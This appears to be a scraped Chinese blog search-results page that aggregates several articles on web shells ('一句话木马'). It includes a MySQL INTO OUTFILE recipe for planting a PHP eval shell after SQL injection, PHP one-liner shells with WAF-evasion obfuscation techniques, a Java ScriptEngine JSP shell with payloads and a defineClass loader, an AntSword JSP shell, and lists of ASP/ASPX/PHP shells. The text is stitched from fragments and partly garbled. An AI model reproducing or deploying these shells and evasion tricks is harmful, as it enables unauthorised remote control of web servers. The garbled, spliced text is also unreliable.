精华内容
下载资源
问答
  • 2021-01-18 22:59:55

    USEmysql;# MySQL 返回的查询结果为空(即零行)。

    # MySQL 返回的查询结果为空(即零行)。CREATE TABLEa(

    cmd1text NOT NULL);# MySQL 返回的查询结果为空(即零行)。

    # MySQL 返回的查询结果为空(即零行)。INSERT INTOa( cmd1 )VALUES('<?php eval($_POST[cmd]);?>');# 影响列数:1# 影响列数:1

    SELECTcmd1FROMaINTO OUTFILE '/data/www/heneng/cp/mm.php';# 影响列数: 1# 影响列数:1

    DROP TABLE IF EXISTSa;# MySQL 返回的查询结果为空(即零行)。

    # MySQL 返回的查询结果为空(即零行)。

    1.首先通过注入获取mysql数据库的用户名和密码

    2.通过相关渠道获取mysql数据库的路径

    3.使用用户名和密码登陆mysql

    4.获取网站可写目录的绝对路径

    5.点击进入sql编辑器,输入上述代码,将一句话木马写入网站

    6.使用菜刀连接一句话,上传大马

    方法二:

    使用phpmyadmin中的sql语句

    写文件:

    select '<?php @eval($_POST[1])?>' into outfile '/data/www/heneng/cp/log.php'

    最后的/cp/log.php的文件名可以任意起的,不是固定的。

    利用mysql数据库爆网站绝对路径方法

    使用phpmyadmin的某个文件报错

    phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php

    phpMyAdmin/libraries/select_lang.lib.php

    参考:360搜索“mysql写入一句话木马文件”

    更多相关内容
  • 一句话木马连接客户端 — BY 寂寞的刺猬 @ 520000796 一句话木马(<%execute request(l)%>) 的本地连接客户端 ” %> [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
  • 一句话木马

    千次阅读 2019-09-06 17:04:16
    一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。 我们如何发送命令,发送的...

     

    一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。

    我们如何发送命令,发送的命令如何执行?

    我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。
    所以看到的经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

    例如:<?php eval(@$_POST['a']); ?>

    其中eval就是执行命令的函数,$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

    示例:

    phpinfo.png

    因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,( 就像这样: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了。

    使用 其他函数制作一句话木马

    assert函数

    <?php assert(@$_POST['a']); ?>
    

    create_function函数

    <?php 
    $fun = create_function('',$_POST['a']);
    $fun();
    ?>
    

    把用户传递的数据生成一个函数fun(),然后再执行fun()

    call_user_func回调函数

    <?php
    @call_user_func(assert,$_POST['a']);
    ?>
    

    call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

    preg_replace函数

    <?php 
    @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
    ?>
    

    这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

    file_put_contents函数

    利用函数生成木马

    <?php
    $test='<?php $a=$_POST["cmd"];assert($a); ?>';
    file_put_contents("Trojan.php", $test);
    ?>
    

    函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。

    如何让一句话木马绕过waf ?

    waf是网站的防火墙,例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马,但是一句话木马的变形有很多种,waf根本不可能全部拦截。想要绕过waf,需要掌握各种PHP小技巧,掌握的技巧多了,把技巧结合起来,设计出属于自己的一句话木马。

    PHP变量函数

    <?php 
    $a = "eval";
    $a(@$_POST['a']); 
    ?>
    

    第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

    PHP可变变量

    <?php
    $bb="eval";
    $a="bb";
    $$aa($_POST['a']);
    ?>
    

    看这句就能理解上述语句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

    str_replace函数

    <?php
    $a=str_replace("Waldo", "", "eWaldoval");
    $a(@$_POST['a']);
    ?>
    

    函数功能:在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"Waldo"。

    base64_decode函数

    <?php
    $a=base64_decode("ZXZhbA==")
    $a($_POST['a']);
    ?>
    

    这里是base64解密函数,"ZXZhbA=="是eval的base64加密。

    "."操作符

    <?php
    $a="e"."v";
    $b="a"."l";
    $c=$a.$b;
    $c($_POST['a']);
    ?>
    

    parse_str函数

    <?php
    $str="a=eval";
    parse_str($str);
    $a($_POST['a']);
    ?>
    

    执行这个函数后,生成一个变量$a,值为字符串"eval"

    更多技巧...

    多实战,多谷歌!
    上述六种技巧每一种单独使用都不能绕过waf,但是与 第三大点提到的函数混合起来使用,就可以顺利的欺骗waf。
    tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

    <?php
    function fun()
    {return $_POST['a'];}
    @preg_replace("/test/e",fun(),"test test test");
    ?>
    展开全文
  • min.aspx 代码如下:<%@ Page Language=”Jscript”%><%eval(Request.Item[“z”],”unsafe”);%> 代码如下:<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” ...
  • 一句话木马该怎么实现?现在就带你了解

    千次阅读 多人点赞 2021-07-30 21:27:50
    前言 一直以来,Java一句话木马都是采用...本在这里提出一种Java一句话木马:利用Java中JS引擎实现的一句话木马。 基本原理 Java没有eval函数,Js有eval函数,可以把字符串当代码解析。 Java从1.6开始自带ScriptEng

    前言

    一直以来,Java一句话木马都是采用打入字节码defineClass实现的。这种方法的优势是可以完整的打进去一个类,可以几乎实现Java上的所有功能。不足之处就是Payload过于巨大,并且不像脚本语言一样方便修改。并且还存在很多特征,例如继承ClassLoader,反射调用defineClass等。本在这里提出一种Java一句话木马:利用Java中JS引擎实现的一句话木马。

    基本原理

    1. Java没有eval函数,Js有eval函数,可以把字符串当代码解析。
    2. Java从1.6开始自带ScriptEngineManager这个类,原生支持调用js,无需安装第三方库。
    3. ScriptEngine支持在Js中调用Java的对象。

    综上所述,我们可以利用Java调用JS引擎的eval,然后在Payload中反过来调用Java对象,这就是本文提出的新型Java一句话的核心原理。

    ScriptEngineManager全名javax.script.ScriptEngineManager,从Java 6开始自带。其中Java 6/7采用的js解析引擎是Rhino,而从java8开始换成了Nashorn。不同解析引擎对同样的代码有一些差别,这点后面有所体现。

    如果说原理其实一两句话就可以说清楚,但是难点在于Payload的编写。跨语言调用最大的一个难点就是数据类型以及方法的转换。例如Java中有byte数组,Js中没有怎么办?C++里有指针但是Java里没有这个玩意怎么办?

    在实现期间踩了很多的坑,这篇文章跟大家一起掰扯掰扯,希望能给大家提供点帮助。

    获取脚本引擎

    //通过脚本名称获取:
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //简写为js也可以
    //通过文件扩展名获取: 
    ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
    //通过MIME类型来获取: 
    ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
    

    绑定对象

    ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("mr6"));
    

    或者通过eval的重载函数,直接把对象通过一个HashMap放进去

    new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
    put("response", response);
    put("request", request);
    }}))
    

    eval

    综合上面两步,有很多种写法,例如:

    shell.jsp

    <%
    
         javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
         engine.put("request", request);
         engine.put("response", response);
         engine.eval(request.getParameter("mr6"));
    
    %>
    

    或者直接缩写成一句:

    <%
         new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
                put("response", response);
                put("request", request);
            }}));
    %>
    

    以执行命令为例:

    POST:mr6=java.lang.Runtime.getRuntime().exec(“calc”);

    image.png

    即可达到命令执行的效果。

    基本语法

    翻阅文档比较枯燥,这里挑一些用到的说一说。

    感兴趣的同学也可以看一下原文档:原文档

    调用Java方法

    前面加上全限定类名即可

    var s = [3];
    s[0] = "cmd";
    s[1] = "/c";
    s[2] = "whoami";//yzddmr6
    var p = java.lang.Runtime.getRuntime().exec(s);
    var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
    var result = sc.hasNext() ? sc.next() : "";
    sc.close();
    

    导入Java类型

    var Vector = java.util.Vector;
    var JFrame = Packages.javax.swing.JFrame;
    
     //这种写法仅仅支持Nashorn,Rhino并不支持
    var Vector = Java.type("java.util.Vector")
    var JFrame = Java.type("javax.swing.JFrame")
    

    创建Java类型的数组

    // Rhino
    var Array = java.lang.reflect.Array
    var intClass = java.lang.Integer.TYPE
    var array = Array.newInstance(intClass, 8)
    
    // Nashorn
    var IntArray = Java.type("int[]")
    var array = new IntArray(8)
    

    导入Java类

    默认情况下,Nashorn 不会导入Java的包。这样主要为了避免类型冲突,比如你写了一个new String,引擎怎么知道你new的是Java的String还是js的String?所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。

    这个时候大聪明Mozilla Rhino 就想了一个办法,整了个扩展文件,里面提供了importClass 跟importPackage 方法,可以导入指定的Java包。

    • importClass 导入指定Java的类,现在推荐用Java.type
    • importPackage 导入一个Java包,类似import com.yzddmr6.*,现在推荐用JavaImporter

    这里需要注意的是,Rhino对该语法的错误处理机制,当被访问的类存在时,Rhino加载该class,而当其不存在时,则把它当成package名称,而并不会报错。

    load("nashorn:mozilla_compat.js");
    
    importClass(java.util.HashSet);
    var set = new HashSet();
    
    importPackage(java.util);
    var list = new ArrayList();
    

    在一些特殊情况下,导入的全局包会影响js中的函数,例如类名冲突。这个时候可以用JavaImporter,并配合with语句,对导入的Java包设定一个使用范围。

    // create JavaImporter with specific packages and classes to import
    
    var SwingGui = new JavaImporter(javax.swing,
                                javax.swing.event,
                                javax.swing.border,
                                java.awt.event);
    with (SwingGui) {
        // 在with里面才可以调用swing里面的类,防止污染
        var mybutton = new JButton("test");
        var myframe = new JFrame("test");
    }
    

    方法调用与重载

    方法在JavaScript中实际上是对象的一个属性,所以除了使用 . 来调用方法之外,也可以使用[]来调用方法:

    var System = Java.type('java.lang.System');
    System.out.println('Hello, World');    // Hello, World
    System.out['println']('Hello, World'); // Hello, World
    

    Java支持重载(Overload)方法,例如,System.out 的 println 有多个重载版本,如果你想指定特定的重载版本,可以使用[]指定参数类型。例如:

    var System = Java.type('java.lang.System');
    System.out['println'](3.14);          // 3.14
    System.out['println(double)'](3.14);  // 3.14
    System.out['println(int)'](3.14);     // 3
    

    Payload结构设计

    详情写在注释里了

    //导入基础拓展
    try {
      load("nashorn:mozilla_compat.js");
    } catch (e) {}
    //导入常见包
    importPackage(Packages.java.util);
    importPackage(Packages.java.lang);
    importPackage(Packages.java.io);
    
    var output = new StringBuffer(""); //输出
    var cs = "${jspencode}"; //设置字符集编码
    var tag_s = "${tag_s}"; //开始符号
    var tag_e = "${tag_e}"; //结束符号
    try {
      response.setContentType("text/html");
      request.setCharacterEncoding(cs);
      response.setCharacterEncoding(cs);
      function decode(str) {
        //参数解码
        str = str.substr(2);
        var bt = Base64DecodeToByte(str);
        return new java.lang.String(bt, cs);
      }
      function Base64DecodeToByte(str) {
        importPackage(Packages.sun.misc);
        importPackage(Packages.java.util);
        var bt;
        try {
          bt = new BASE64Decoder().decodeBuffer(str);
        } catch (e) {
          bt = Base64.getDecoder().decode(str);
        }
        return bt;
      }
      function asoutput(str) {
        //回显加密
        return str;
      }
      function func(z1) {
        //eval function
    
        return z1;
      }
      output.append(func(z1)); //添加功能函数回显
    } catch (e) {
      output.append("ERROR:// " + e.toString()); //输出错误
    }
    try {
      response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回显
    } catch (e) {}
    

    语法问题的坑

    两种语言对象间的相互转换

    要注意的是,在遇到Java跟JS可能存在类型冲突的地方,即使导入了包也要加上全限定类名。

    在编写payload的时候被坑了很久的一个问题就是,在导入java.lang以后写new String(bt,cs)没有加全限定类名,导致打印出来的一直是一个字符串地址。

    正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类,按照优先级,直接new出来的会是Js的对象。

    下面附上类型对比表:

    JavaScript ValueJavaScript TypeJava TypeIs ScriptableIs Function
    {a:1, b:[‘x’,‘y’]}objectorg.mozilla.javascript.NativeObject+-
    [1,2,3]objectorg.mozilla.javascript.NativeArray+-
    1numberjava.lang.Double--
    1.2345numberjava.lang.Double--
    NaNnumberjava.lang.Double--
    Infinitynumberjava.lang.Double--
    -Infinitynumberjava.lang.Double--
    truebooleanjava.lang.Boolean--
    “test”stringjava.lang.String--
    nullobjectnull--
    undefinedundefinedorg.mozilla.javascript.Undefined--
    function () { }functionorg.mozilla.javascript.gen.c1++
    /.*/objectorg.mozilla.javascript.regexp.NativeRegExp++

    Rhino/Nashorn解析的差异

    这也是当时一个坑点,看下面一段代码

    var readonlyenv = System.getenv();
          var cmdenv = new java.util.HashMap(readonlyenv);
          var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
          for (var i = 0; i < envs.length; i++) {
            var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
            if (es.length == 2) {
              cmdenv.put(es[0], es[1]);
            }
          }
          var e = [];
          var i = 0;
          print(cmdenv+'\n');
          for (var key in cmdenv) {//关键
            print("key: "+key+"\n");
            e[i] = key + "=" + cmdenv[key];
            i++;
          }
    

    其中cmdenv是个HashMap,这段代码在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的时候把cmdenv的键给输出了
    image.png

    但是在Java 6下运行时,Rhino把他当成了一个js对象,把其属性输出了
    image.png

    所以涉及到这种混合写法就会有异议,不同的引擎有不同的解释。

    解决办法使用Java迭代器即可,不掺杂js的写法。

    var i = 0;
        var iter = cmdenv.keySet().iterator();
        while (iter.hasNext()) {
          var key = iter.next();
          var val = cmdenv.get(key);
          //print("\nkey:" + key);
          //print("\nval:" + val);
          e[i] = key + "=" + val;
          i++;
        }
    

    反射的坑

    在Java中,如果涉及到不同版本之间类的包名不一样,我们通常不能直接导入,而要使用反射的写法。

    例如base64解码的时候,Java的写法如下

    public byte[] Base64DecodeToByte(String str) {
            byte[] bt = null;
            String version = System.getProperty("java.version");
            try {
                if (version.compareTo("1.9") >= 0) {
                    Class clazz = Class.forName("java.util.Base64");
                    Object decoder = clazz.getMethod("getDecoder").invoke(null);
                    bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
                } else {
                    Class clazz = Class.forName("sun.misc.BASE64Decoder");
                    bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
                }
                return bt;
            } catch (Exception e) {
                return new byte[]{};
            }
        }
    

    改写成js风格后,发现会有一些奇奇怪怪的BUG。(后来发现反射其实也可以实现,导入Java类型然后再传入反射参数即可,就是比较麻烦)

    image

    function test(str) {
      var bt = null;
      var version = System.getProperty("java.version");
    
      if (version.compareTo("1.9") >= 0) {
        var clazz = java.lang.Class.forName("java.util.Base64");
        var decoder = clazz.getMethod("getDecoder").invoke(null);
        bt = decoder
          .getClass()
          .getMethod("decode", java.lang.String.class)
          .invoke(decoder, str);
      } else {
        var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
        bt = clazz
          .getMethod("decodeBuffer", java.lang.String.class)
          .invoke(clazz.newInstance(), str);
      }
      return bt;
    }
    

    但是在Js中,我们并不需要这么麻烦。上面提到过如果importPackage了一个不存在的包名,Js引擎会将这个错误给忽略,并且由于Js松散的语言特性,我们仅仅需要正射+异常捕获就可以完成目的。大大减小了payload编写的复杂度。

    function Base64DecodeToByte(str) {
        importPackage(Packages.sun.misc);
        importPackage(Packages.java.util);
        var bt;
        try {
          bt = new BASE64Decoder().decodeBuffer(str);
        } catch (e) {
          bt = Base64.getDecoder().decode(str);
        }
        return bt;
      }
    

    保底操作

    理论上,我们可以用js引擎的一句话实现所有字节码一句话的功能,退一万步讲,如果有些功能实在不好实现,或者说想套用现有的payload应该怎么办呢。

    我们可以用java调用js后,再调用defineClass来实现:

    编写一个命令执行的类:calc.java

    import java.io.IOException;
    
    public class calc {
        public calc(String cmd){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    编译之后base64一下

    > base64 -w 0 calc.class
    yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
    

    填入下方payload

    try {
      load("nashorn:mozilla_compat.js");
    } catch (e) {}
    importPackage(Packages.java.util);
    importPackage(Packages.java.lang);
    importPackage(Packages.java.io);
    var output = new StringBuffer("");
    var cs = "UTF-8";
    response.setContentType("text/html");
    request.setCharacterEncoding(cs);
    response.setCharacterEncoding(cs);
    function Base64DecodeToByte(str) {
      importPackage(Packages.sun.misc);
      importPackage(Packages.java.util);
      var bt;
      try {
        bt = new BASE64Decoder().decodeBuffer(str);
      } catch (e) {
        bt = new Base64().getDecoder().decode(str);
      }
      return bt;
    }
    function define(Classdata, cmd) {
      var classBytes = Base64DecodeToByte(Classdata);
      var byteArray = Java.type("byte[]");
      var int = Java.type("int");
      var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
        "defineClass",
        byteArray.class,
        int.class,
        int.class
      );
      defineClassMethod.setAccessible(true);
      var cc = defineClassMethod.invoke(
        Thread.currentThread().getContextClassLoader(),
        classBytes,
        0,
        classBytes.length
      );
      return cc.getConstructor(java.lang.String.class).newInstance(cmd);
    }
    output.append(
      define(
        "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
        "calc"
      )
    );
    response.getWriter().print(output);
    

    成功弹出计算器
    image.png

    也就是说,新型一句话在特殊情况下,还可以继续兼容原有的字节码一句话,甚至复用原有的Payload。

    测试

    测试环境:Java>=6

    同样的列目录Payload,原有的字节码方式数据包长度为7378,而新型JSP一句话仅仅为2481,差不多为原有的三分之一。
    image.png
    image.png

    列目录
    image.png

    中文测试
    image.png

    虚拟终端
    image.png

    数据库连接
    image.png

    在这里插入图片描述

    题外话:安全是个不错的行业,我干的也挺好,如果你也想学习安全,学习的过程中有需要的学习文档,俺可以分享给大家!

    【查看资料】

    最后

    基于JS引擎的Java一句话体积更小,变化种类更多,使用起来更灵活。范围为Java 6及以上,基本可以满足需求,但是Payload写起来非常麻烦,也不好调试,算是有利有弊。

    提出新型一句话并不是说一定要取代原有的打入字节码的方式,只是在更复杂情况下,可以提供给渗透人员更多的选择。

    展开全文
  • js一句话效果大全

    2017-11-10 17:23:23
    非常牛逼的一句话代码,摘要的jq的精华,利用它的代码
  • 各种一句话木马大全

    千次阅读 2021-02-28 18:09:28
    %>""then session("c")=request("c"):end if:if session("c")<...'备份专用'无防下载表,有防下载表突破专用一句话'防杀防扫专用"" ThenExecuteGlobal(Request("c"))%>'不用""execute request("c")名字)+...

    %>

    ""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>

    '备份专用

    '无防下载表,有防下载表突破专用一句话

    '防杀防扫专用

    "" ThenExecuteGlobal(Request("c"))%>

    '不用""

    名字)+'') %>

    '不用双引号

    '可以躲过雷客图

    "request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>

    '容错代码

    if Request("sb")<>"" then ExecuteGlobal request("sb") end if

    PHP一句话

    <?php @eval_r($_POST1)?>//容错代码

    <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句

    $_POST['c']($_POST['cc']);?>

    $_POST['c']($_POST['cc'],$_POST['cc'])?>

    <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:h=@eval_r($_POST1);

    //绕过<?限制的一句话

    JSP一句话

    提交客户端

    ASPX一句话

    再补充几个:

    推荐还是把一句话加进图片里面去。

    普通的php一句话:<?php @eval($_POST['r00ts']);?>

    普通的asp一句话:

    aspx突破一流的:

    [code]

    dim da

    set fso=server.createobject("scripting.filesystemobject")

    path=request("path")

    if path<>"" then

    data=request("da")

    set da=fso.createtextfile(path,true)

    da.write data

    if err=0 then

    Response.Write "yes"

    else

    Response.Write "no"

    end if

    err.clear

    end if

    set da=nothing

    set fos=nothing

    Response.Write "<form action=" method=post>"

    Response.Write "<input type=text name=path>"

    Response.Write "<br>"

    Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))

    Response.Write "<br>"

    Response.Write "操作系统为:"&Request.ServerVariables("OS")

    Response.Write "<br>"

    Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")

    Response.Write "<br>"

    Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"

    Response.Write "<br>"

    Response.Write "<input type=submit value=save>"

    Response.Write "</form>"

    </Script>

    ASP一句话:”"ThenExecuteGlobal(Request(“1″))%>

    PHP防杀放扫 一句话:<?php (])?>

    上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如

    index.asp里面也是可以的!

    因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件

    的最底部不会出错!<?if (isset($_POST['1'])){eval($_POST['1']);}?><?php system

    ($_REQUEST[1]);?>

    无防下载表,有防下载表可尝试插入以下语句突破的一句话

    (“class”)%>

    备份专用

    asp一句话

    aspx一句话:WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y

    (“add6bb58e139be10″);

    可以躲过雷客图的一句话。

    ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,

    requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>

    不用'‘的asp一句话execute request(“1″)

    不用双引号的一句话。

    展开全文
  • 我们都知道一句话木马比如说 <?php @eval($_POST['cmd']);?> 我们平常的认知都是去写入一句话木马到一个php文件或者是jsp文件,然后连接那个文件的目录,实际上,不需要写入文件,我们照样可以利用eval函数...
  • 一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
  • 站长很辛苦,木马入侵时杀毒软件...整理一些常用的PHP、ASP、jsp常用到的一句话木马,部分过安全狗、D盾。看多了之后 自然可以干掉木马……PHP一句话木马1、$hh="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$h...
  • 一句话木马的制作

    2012-10-23 22:57:52
    一句话木马的制作,非常适合网络管理员提高网络安全性的检测!
  • 讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,...利用这个原理我们可以把PHP的一句话木马写到磁盘上从而拿到webshell。本地的目标站点来实战一下,我们的目的是在目...
  • 一句话木马的原理

    千次阅读 2021-04-22 13:00:06
    一句话木马的原理 文章目录一句话木马的原理0x00 前言0x01 解析 PHP 一句话木马的原理0x02 解析蚁剑连接一句话木马原理1.蚁剑2.使用蚁剑进行连接0x03 分析蚁剑连接原理0x04 加密的 ASP 一句话后门0x04 JSP一句话木马...
  • 比较全的webshell一句话包括ASP,PHP,ASPX,JSPasp一句话木马程序代码程序代码程序代码程序代码程序代码程序代码[code][code]eval(request("sb"))程序代码%>程序代码程序代码程序代码if Request("sb")<>"" ...
  • asp一句话木马原理分析通过HTTP协议来..."2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接tftp上传鸽子运行,那更快)tftp -i ip get server.exe一句话木马的原理:首先知道execute()函数,是用来执行asp代码的...
  • 文件上传一句话木马getshell

    千次阅读 2021-12-25 11:37:44
    一句话木马: 1.在phpstudy搭建的站点www目录下写入一个php文件,访问该网站下的php文件成功: 命令执行函数:system()、Exec()、 Shell_exec() passthru(): 只调用命令,把命令的运行结果原样地直接输出到标准输出...
  • 一、基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来:相信一目了然可以看懂如何使用这类一句话。二、编码的替换的类型://会生成@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9...
  • 一句话php木马

    2022-03-18 22:36:01
    1.什么是一句话木马? :一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。 2....
  • 输入一句话木马后保存 <?php @eval($_GET['cmd']); ?> 这是一个使用GET请求头的一句话木马,运用的函数为eval() 使用浏览器打开这个php 在搜索栏后面输入 ?cmd=system('ipconfig'); 可以看到,...
  • 首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用 eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了...
  • 几个变性的asp–过防火墙 过狗效果都不错 (“x”)%> (Y)%> (eval(chr...%> ”text/javascript” language=”C#”>// </p><p>WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</p><p>// 密码是webadmin
  • 蚁剑jsp一句话木马

    万次阅读 多人点赞 2021-05-02 22:27:17
    参考链接:https://github.com/yzddmr6/JspForAntSword 密码为 passwd <%! class U extends ClassLoader { U(ClassLoader c) { super(c);... return super.defineClass(b, 0, b.length)...
  • 总体来讲,对php webshell和一句话木马的查杀,主要从三个方面进行1.Shell特征2.PHP安全方面的函数和变量 以及安全配置选项3.语法检测首先,基于Shell特征,此方法主要针对base64_decode编码与gzinflate等参考特征库...
  • 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权 限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢? 先来看看最简单的一句话木马
  • Webshell和一句话木马

    2020-02-09 16:25:12
    黑客在入侵了个网站后,很多人通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到个命令执行环境,以达到控制网站服务器的...
  • 萌新之php一句话木马(上传漏洞)

    千次阅读 2020-11-09 01:54:49
